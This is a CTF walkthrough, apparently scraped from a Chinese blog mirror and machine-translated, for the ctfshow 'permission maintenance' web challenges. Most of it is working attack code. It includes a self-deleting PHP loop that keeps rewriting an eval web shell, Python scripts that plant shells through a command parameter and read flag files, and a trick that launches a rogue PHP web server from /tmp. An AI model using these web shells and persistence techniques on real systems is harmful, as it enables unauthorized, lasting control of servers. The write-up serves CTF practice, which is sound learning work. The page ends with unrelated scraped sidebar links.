当前位置:网站首页>Ctfshow permission maintenance
Ctfshow permission maintenance
2022-06-30 22:48:00 【yu22x】
List of articles
web670-web676
Topic in progress check after , All files in the root directory of the website will be deleted .
Method 1
The following commands are used for forecasting
echo 'flag{xxxx}' > /flag_xx.txt
rm -rf *
rm -rf * In fact, there is a small defect , Cannot delete a file that begins with a dot , So you can use the Trojan horse to generate a .shell.php Of Trojans ,check It will be retained later .
Method 2
Use bounce shell
But the title is not out of the net , So this method cannot be considered for the time being .
Method 3
You can use the undead horse to write the Trojan horse into memory .
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'shell.php';
$code = '<?php @eval($_POST[1]);?>';
while (1) {
file_put_contents($file, $code);
usleep(5000);
}
?>
Visit the undead horse , Trigger check, Then the ant sword connects shell.php You can get flag.
One click script
import requests
url="http://6143fdfc-94e3-4698-824f-f5da79a33081.challenge.ctf.show/"
data1={
'cmd':"file_put_contents('a.php',\"<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);\\$file = 'shell.php';\\$code = '<?php @eval(\\$_POST[1]);?>';while (1) {file_put_contents(\\$file, \\$code);usleep(5000);}?>\");"}
r=requests.post(url+'?action=cmd',data=data1)
try:
requests.get(url+'a.php',timeout=(1,1))
except:
requests.get(url+'?action=check')
r=requests.post(url+'shell.php',data={
'1':'system("cat /f*");'})
print(r.text)
web677、web678
It's a little different from the front , No write permission ( except /tmp Catalog )
guess check It's about generating flag Then delete all /var/www/html The files under the .
So we can pass while The cycle continues to open flag, When check when , The page will appear flag.
payloadcmd=system('while true;do cat /tmp/f*;done');
web679
check It will be closed after nginx php-fpm Etc , But we can use it php Command to start a service directly php -S 0.0.0.0:80, Which directory to run the command , Which directory is regarded as the root directory .
It's kind of like python Turn on web service python -m SimpleHTTPServer 80
The general flow is as follows :
1、/tmp The table of contents is writable , Generate Trojan files in this directory cmd=system('cd /tmp;echo "<?php eval(\$_POST[1]);?>" > index.php');
2、 Turn on web service cmd=system('cd /tmp;php -S 0.0.0.0:80');
3、 Trigger check
4、 Using Trojan horse
But in practical use, it will be found that , Manually opened web service check And then it will be stopped .
So we need to make sure that check Then turn it on web service , That is, add a delay .
import requests
url="http://b370b8d4-cdca-40dd-a3eb-6d6d4485965a.challenge.ctf.show/"
data1={
'cmd':"system('cd /tmp;echo \"<?php eval(\$_POST[1]);?>\" > index.php');"}
r=requests.post(url+'?action=cmd',data=data1)
data2={
'cmd':"system('sleep 3;cd /tmp;php -S 0.0.0.0:80');"}
try:
requests.post(url+'?action=cmd',data=data2,timeout=(1,1))
except:
requests.get(url+'?action=check')
while True:
r=requests.post(url,data={
'1':'system("cat /f*");'})
if "ctfshow{" in r.text:
print(r.text)
break
边栏推荐
- Store Nagios monitoring information into MySQL
- How to change the win11 computer name? Win11 method of changing computer name
- "Paddle + camera" has become a "prefabricated dish" in the AI world, and it is easier to implement industrial AI quality inspection
- Mysql:sql overview and database system introduction | dark horse programmer
- 严格次小生成树
- Ms17-010 Eternal Blue vulnerability of MSF
- 微信小程序通过点击事件传参(data-)
- 2022-06-30:以下golang代码输出什么?A:0;B:2;C:运行错误。 package main import “fmt“ func main() { ints := make
- Win11如何优化服务?Win11优化服务的方法
- New trends of China's national tide development in 2022
猜你喜欢

企业出海数字化转型解决方案介绍

Fastjson V2 简单使用手册
![[fundamentals of wireless communication-13]: illustrated mobile communication technology and application development-1-overview](/img/1d/62e55f1b5445d7349ec383879f4275.png)
[fundamentals of wireless communication-13]: illustrated mobile communication technology and application development-1-overview

10 airbags are equipped as standard, and Chery arizer 8 has no dead corner for safety protection

Achieve secure data sharing among multiple parties and solve the problem of asymmetric information in Inclusive Finance

Introduction to digital transformation solutions for enterprises going to sea

在线客服系统代码_h5客服_对接公众号_支持APP_支持多语言

How to change the win11 computer name? Win11 method of changing computer name

Fastjson V2 simple user manual

Spark - understand partitioner in one article
随机推荐
RIDE:获取图片base64
Two dots on the top of the latex letter
2022中国国潮发展新动向
How to use filters in jfinal to monitor Druid for SQL execution?
[golang] golang implements the string interception function substr
Kubevela 1.4: make application delivery safer, easier to use, and more transparent
如何使用 DataAnt 监控 Apache APISIX
latex中 & 号什么含义?
Where can I find the computer device manager
New trends of China's national tide development in 2022
零样本和少样本学习
AtCoder Beginner Contest 257
Nansen复盘加密巨头自救:如何阻止百亿多米诺倾塌
Detailed explanation of conv2d of pytorch
【Android,Kotlin,TFLite】移动设备集成深度学习轻模型TFlite(物体检测篇)
手机上怎么开股票账户?另外,手机开户安全么?
[Android, kotlin, tflite] mobile device integration depth learning light model tflite (image classification)
对于产业互联网的粗浅认识,最终将产业互联网的发展带入到了消费互联网的怪圈之中
CesiumJS 2022^ 源码解读[6] - 三维模型(ModelExperimental)新架构
部门新来了个阿里25K出来的,让我见识到了什么是天花板